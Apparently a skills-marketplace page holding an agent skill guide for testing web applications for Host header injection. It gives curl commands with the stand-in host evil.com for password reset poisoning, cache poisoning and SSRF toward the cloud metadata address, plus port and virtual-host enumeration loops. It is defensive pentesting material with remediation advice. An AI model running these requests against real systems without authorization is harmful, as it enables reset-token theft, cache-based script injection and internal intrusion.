[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GZVB0D64MHP140HPWJEXC7":3,"skill-same:01M6GZVB0D64MHP140HPWJEXC7":91},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":53,"commitSha":54,"skillDirectory":55,"forksCount":56,"repositoryHtmlUrl":57,"repositoryHomepageUrl":6,"ownerHtmlUrl":58,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":59,"install":60,"resources":73},"01M6GZVB0D64MHP140HPWJEXC7","testing-for-host-header-injection",null,"Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-for-host-header-injection\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"for","host","injection","testing for host header injection","testing","host-header-injection","virtual","password","password reset","header-manipulation","virtual-host","password-reset-poisoning","header-injection","cache-poisoning","application-security","applications","web-application-security","cache","http","cybersecurity","2026-11-10 10:12:30",false,"---\nname: testing-for-host-header-injection\ndescription: Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [host-header-injection, password-reset-poisoning, cache-poisoning, virtual-host, web-security, header-manipulation, ssrf]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Testing for Host Header Injection\n\n## When to Use\n- When testing password reset functionality for token theft via host manipulation\n- During assessment of web caching behavior influenced by Host header values\n- When testing virtual host routing and server-side request processing\n- During penetration testing of applications behind reverse proxies or load balancers\n- When evaluating SSRF potential through Host header manipulation\n\n## Prerequisites\n- Burp Suite for intercepting and modifying Host headers\n- Understanding of HTTP Host header role in virtual hosting and routing\n- Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)\n- Access to an attacker-controlled domain for receiving poisoned requests\n- Burp Collaborator or interact.sh for out-of-band detection\n- Multiple test accounts for password reset testing\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Test Basic Host Header Injection\n```bash\n# Supply arbitrary Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Check if application reflects evil.com in response\n\n# Double Host header\ncurl -H \"Host: target.com\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Host header with port injection\ncurl -H \"Host: target.com:evil.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: target.com:@evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Absolute URL with different Host\ncurl --request-target \"http:\u002F\u002Ftarget.com\u002F\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Check for different virtual host access\ncurl -H \"Host: admin.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: internal.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: localhost\" http:\u002F\u002Ftarget.com\u002F -v\n```\n\n### Step 2 — Test Password Reset Poisoning\n```bash\n# Trigger password reset with modified Host header\n# The reset link may use the Host header value in the URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n# If reset email contains: http:\u002F\u002Fevil.com\u002Freset?token=xxx\n# Attacker receives the token when victim clicks the link\n\n# Try X-Forwarded-Host for password reset poisoning\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Port-based injection in reset URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: target.com:80@evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Test with various forwarding headers\nfor header in \"X-Forwarded-Host\" \"X-Host\" \"X-Original-URL\" \"X-Rewrite-URL\" \"X-Forwarded-Server\" \"Forwarded\"; do\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n    -H \"$header: evil.com\" \\\n    -d \"email=victim@target.com\"\n  echo \"Tested: $header\"\ndone\n```\n\n### Step 3 — Test Web Cache Poisoning via Host Header\n```bash\n# If caching layer uses URL (without Host) as cache key:\n# Poison cache with modified Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# If response is cached and contains evil.com links\n# All subsequent users receive poisoned content\n\n# Test with X-Forwarded-Host for cache poisoning\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002Flogin -v\n# Check X-Cache header to see if response was cached\n\n# Verify cache poisoning\ncurl http:\u002F\u002Ftarget.com\u002Flogin -v\n# If response still contains evil.com, cache is poisoned\n\n# Poison JavaScript URLs in cached pages\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002F\n# If page loads: \u003Cscript src=\"\u002F\u002Fevil.com\u002Fstatic\u002Fapp.js\">\n# Attacker serves malicious JavaScript to all users\n```\n\n### Step 4 — Test SSRF via Host Header\n```bash\n# Backend may use Host header to make internal requests\ncurl -H \"Host: internal-api.target.local\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fproxy\n\n# Access cloud metadata via Host header\ncurl -H \"Host: 169.254.169.254\" http:\u002F\u002Ftarget.com\u002F\n\n# Internal port scanning\nfor port in 80 443 8080 8443 3000 5000 9200; do\n  curl -H \"Host: 127.0.0.1:$port\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s\n  echo \" - Port $port\"\ndone\n\n# SSRF via absolute URL\ncurl --request-target \"http:\u002F\u002Finternal-server\u002F\" -H \"Host: internal-server\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 5 — Test Virtual Host Enumeration\n```bash\n# Enumerate virtual hosts\nfor vhost in admin staging dev test api internal backend; do\n  status=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s)\n  size=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{size_download}\" -s)\n  echo \"$vhost.target.com - Status: $status, Size: $size\"\ndone\n\n# Check default virtual host behavior\ncurl -H \"Host: nonexistent.target.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Compare with legitimate host response\n\n# Access internal admin panels via virtual host\ncurl -H \"Host: admin\" http:\u002F\u002Ftarget.com\u002F\ncurl -H \"Host: management.internal\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 6 — Test Connection-State Attacks\n```bash\n# HTTP\u002F1.1 connection reuse attack\n# Send legitimate first request, then inject Host header on subsequent request\n# Use Burp Repeater with \"Update Content-Length\" and manual Connection: keep-alive\n\n# In Burp Repeater, send grouped request:\n# Request 1 (legitimate):\n# GET \u002F HTTP\u002F1.1\n# Host: target.com\n# Connection: keep-alive\n#\n# Request 2 (injected):\n# GET \u002Fadmin HTTP\u002F1.1\n# Host: internal.target.com\n\n# Test with HTTP Request Smuggling combined\n# If front-end validates Host but back-end doesn't:\n# Smuggle request with modified Host header\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Host Header | HTTP header specifying the target virtual host for the request |\n| Password Reset Poisoning | Injecting Host to make reset emails contain attacker-controlled URLs |\n| Cache Poisoning via Host | Poisoning CDN cache with responses containing attacker-controlled host |\n| Virtual Host Routing | Web server using Host header to route requests to different applications |\n| X-Forwarded-Host | Alternative header used by proxies that may override Host header |\n| Connection State Attack | Exploiting persistent connections to send requests with different Host values |\n| Server-Side Host Resolution | Backend code using Host header for URL generation and redirects |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for Host header manipulation and analysis |\n| Burp Collaborator | Out-of-band detection for Host header SSRF |\n| ffuf | Virtual host brute-forcing with custom Host headers |\n| gobuster vhost | Virtual host enumeration mode |\n| Nuclei | Template-based scanning for Host header injection |\n| param-miner | Burp extension for discovering unkeyed Host-related headers |\n\n## Common Scenarios\n\n1. **Password Reset Token Theft** — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token\n2. **Web Cache Poisoning** — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users\n3. **Internal Panel Access** — Enumerate and access internal admin panels through virtual host manipulation\n4. **SSRF to Cloud Metadata** — Use Host header to redirect server-side requests to cloud metadata endpoints\n5. **Routing Bypass** — Bypass access controls by manipulating Host to route requests to unprotected backend instances\n\n## Output Format\n\n```\n## Host Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Reverse Proxy**: Nginx\n- **Backend**: Apache\u002FPHP\n\n### Findings\n| # | Technique | Header | Impact | Severity |\n|---|-----------|--------|--------|----------|\n| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |\n| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |\n| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |\n| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |\n\n### Remediation\n- Validate Host header against a whitelist of expected values\n- Do not use Host header for generating URLs in password reset emails\n- Configure web server to reject requests with unrecognized Host values\n- Set absolute URLs in application configuration instead of deriving from Host\n```\n","# Testing for Host Header Injection\n\n## When to Use\n- When testing password reset functionality for token theft via host manipulation\n- During assessment of web caching behavior influenced by Host header values\n- When testing virtual host routing and server-side request processing\n- During penetration testing of applications behind reverse proxies or load balancers\n- When evaluating SSRF potential through Host header manipulation\n\n## Prerequisites\n- Burp Suite for intercepting and modifying Host headers\n- Understanding of HTTP Host header role in virtual hosting and routing\n- Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)\n- Access to an attacker-controlled domain for receiving poisoned requests\n- Burp Collaborator or interact.sh for out-of-band detection\n- Multiple test accounts for password reset testing\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Test Basic Host Header Injection\n```bash\n# Supply arbitrary Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Check if application reflects evil.com in response\n\n# Double Host header\ncurl -H \"Host: target.com\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Host header with port injection\ncurl -H \"Host: target.com:evil.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: target.com:@evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Absolute URL with different Host\ncurl --request-target \"http:\u002F\u002Ftarget.com\u002F\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Check for different virtual host access\ncurl -H \"Host: admin.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: internal.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: localhost\" http:\u002F\u002Ftarget.com\u002F -v\n```\n\n### Step 2 — Test Password Reset Poisoning\n```bash\n# Trigger password reset with modified Host header\n# The reset link may use the Host header value in the URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n# If reset email contains: http:\u002F\u002Fevil.com\u002Freset?token=xxx\n# Attacker receives the token when victim clicks the link\n\n# Try X-Forwarded-Host for password reset poisoning\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Port-based injection in reset URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: target.com:80@evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Test with various forwarding headers\nfor header in \"X-Forwarded-Host\" \"X-Host\" \"X-Original-URL\" \"X-Rewrite-URL\" \"X-Forwarded-Server\" \"Forwarded\"; do\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n    -H \"$header: evil.com\" \\\n    -d \"email=victim@target.com\"\n  echo \"Tested: $header\"\ndone\n```\n\n### Step 3 — Test Web Cache Poisoning via Host Header\n```bash\n# If caching layer uses URL (without Host) as cache key:\n# Poison cache with modified Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# If response is cached and contains evil.com links\n# All subsequent users receive poisoned content\n\n# Test with X-Forwarded-Host for cache poisoning\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002Flogin -v\n# Check X-Cache header to see if response was cached\n\n# Verify cache poisoning\ncurl http:\u002F\u002Ftarget.com\u002Flogin -v\n# If response still contains evil.com, cache is poisoned\n\n# Poison JavaScript URLs in cached pages\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002F\n# If page loads: \u003Cscript src=\"\u002F\u002Fevil.com\u002Fstatic\u002Fapp.js\">\n# Attacker serves malicious JavaScript to all users\n```\n\n### Step 4 — Test SSRF via Host Header\n```bash\n# Backend may use Host header to make internal requests\ncurl -H \"Host: internal-api.target.local\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fproxy\n\n# Access cloud metadata via Host header\ncurl -H \"Host: 169.254.169.254\" http:\u002F\u002Ftarget.com\u002F\n\n# Internal port scanning\nfor port in 80 443 8080 8443 3000 5000 9200; do\n  curl -H \"Host: 127.0.0.1:$port\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s\n  echo \" - Port $port\"\ndone\n\n# SSRF via absolute URL\ncurl --request-target \"http:\u002F\u002Finternal-server\u002F\" -H \"Host: internal-server\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 5 — Test Virtual Host Enumeration\n```bash\n# Enumerate virtual hosts\nfor vhost in admin staging dev test api internal backend; do\n  status=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s)\n  size=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{size_download}\" -s)\n  echo \"$vhost.target.com - Status: $status, Size: $size\"\ndone\n\n# Check default virtual host behavior\ncurl -H \"Host: nonexistent.target.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Compare with legitimate host response\n\n# Access internal admin panels via virtual host\ncurl -H \"Host: admin\" http:\u002F\u002Ftarget.com\u002F\ncurl -H \"Host: management.internal\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 6 — Test Connection-State Attacks\n```bash\n# HTTP\u002F1.1 connection reuse attack\n# Send legitimate first request, then inject Host header on subsequent request\n# Use Burp Repeater with \"Update Content-Length\" and manual Connection: keep-alive\n\n# In Burp Repeater, send grouped request:\n# Request 1 (legitimate):\n# GET \u002F HTTP\u002F1.1\n# Host: target.com\n# Connection: keep-alive\n#\n# Request 2 (injected):\n# GET \u002Fadmin HTTP\u002F1.1\n# Host: internal.target.com\n\n# Test with HTTP Request Smuggling combined\n# If front-end validates Host but back-end doesn't:\n# Smuggle request with modified Host header\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Host Header | HTTP header specifying the target virtual host for the request |\n| Password Reset Poisoning | Injecting Host to make reset emails contain attacker-controlled URLs |\n| Cache Poisoning via Host | Poisoning CDN cache with responses containing attacker-controlled host |\n| Virtual Host Routing | Web server using Host header to route requests to different applications |\n| X-Forwarded-Host | Alternative header used by proxies that may override Host header |\n| Connection State Attack | Exploiting persistent connections to send requests with different Host values |\n| Server-Side Host Resolution | Backend code using Host header for URL generation and redirects |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for Host header manipulation and analysis |\n| Burp Collaborator | Out-of-band detection for Host header SSRF |\n| ffuf | Virtual host brute-forcing with custom Host headers |\n| gobuster vhost | Virtual host enumeration mode |\n| Nuclei | Template-based scanning for Host header injection |\n| param-miner | Burp extension for discovering unkeyed Host-related headers |\n\n## Common Scenarios\n\n1. **Password Reset Token Theft** — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token\n2. **Web Cache Poisoning** — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users\n3. **Internal Panel Access** — Enumerate and access internal admin panels through virtual host manipulation\n4. **SSRF to Cloud Metadata** — Use Host header to redirect server-side requests to cloud metadata endpoints\n5. **Routing Bypass** — Bypass access controls by manipulating Host to route requests to unprotected backend instances\n\n## Output Format\n\n```\n## Host Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Reverse Proxy**: Nginx\n- **Backend**: Apache\u002FPHP\n\n### Findings\n| # | Technique | Header | Impact | Severity |\n|---|-----------|--------|--------|----------|\n| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |\n| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |\n| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |\n| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |\n\n### Remediation\n- Validate Host header against a whitelist of expected values\n- Do not use Host header for generating URLs in password reset emails\n- Configure web server to reject requests with unrecognized Host values\n- Set absolute URLs in application configuration instead of deriving from Host\n```\n",{"name":5,"tags":48,"author":51,"domain":42,"license":14,"version":52,"subdomain":39,"description":7},[28,34,36,33,49,32,50],"web-security","ssrf","mahipal","1.0","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-for-host-header-injection",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add micsapp\u002Fmicstec-skills --skill testing-for-host-header-injection",{"tool":66,"command":67},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill testing-for-host-header-injection",{"tool":69,"command":70},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill testing-for-host-header-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-for-host-header-injection\u002FSKILL.md",true,[74,79,85],{"path":75,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-for-host-header-injection\u002FLICENSE",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"references\u002Fapi-reference.md","REFERENCE","参考文档",1473,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-for-host-header-injection\u002Freferences\u002Fapi-reference.md",{"path":86,"resourceType":87,"resourceTypeDesc":88,"sizeBytes":89,"sourceHtmlUrl":90},"scripts\u002Fagent.py","SCRIPT","脚本",7018,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-for-host-header-injection\u002Fscripts\u002Fagent.py",[92,127,157,178,198,223],{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":96,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":107,"publishedAt":43},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[99,102],{"categoryNo":100,"categoryName":101,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":103,"categoryName":104,"taxonomyType":105,"taxonomyTypeDesc":106},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,23],"architecture","azure","azure apim architecture","component","authentication","gateway","topology","Optimization","network","api","team","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode",{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":96,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":141,"publishedAt":43},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[133,134,137,140],{"categoryNo":100,"categoryName":101,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":135,"categoryName":136,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":138,"categoryName":139,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":103,"categoryName":104,"taxonomyType":105,"taxonomyTypeDesc":106},[142,143,144,145,109,146,147,148,149,150,151,152,117,118,124,153,154,125,155,156],"deployment","apiops deployment","workflows","azure devops","infrastructure","code","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":158,"name":159,"nameZh":6,"description":160,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":96,"licenseFileUrl":6,"sourceHtmlUrl":161,"categories":162,"keywords":164,"publishedAt":43},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[163],{"categoryNo":100,"categoryName":101,"taxonomyType":20,"taxonomyTypeDesc":21},[165,166,167,168,109,112,117,118,169,170,171,172,173,174,175,125,176,177,156,23],"policy","authoring","apim policy authoring","security","access","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":179,"name":180,"nameZh":6,"description":181,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":96,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":186,"publishedAt":43},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[184,185],{"categoryNo":100,"categoryName":101,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":103,"categoryName":104,"taxonomyType":105,"taxonomyTypeDesc":106},[187,168,188,117,172,189,109,142,190,191,192,193,118,194,125,195,196,197,126,23],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":96,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":204,"publishedAt":43},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[205,206,207,144,208,209,210,211,117,212,213,214,215,216,217,218,219,220,221,222],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":224,"name":225,"nameZh":6,"description":226,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":96,"licenseFileUrl":6,"sourceHtmlUrl":227,"categories":228,"keywords":229,"publishedAt":43},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[225,230,231,232,233,234,235,170,236,237],"npm","js","calculate","node","math","user","compute","errors"]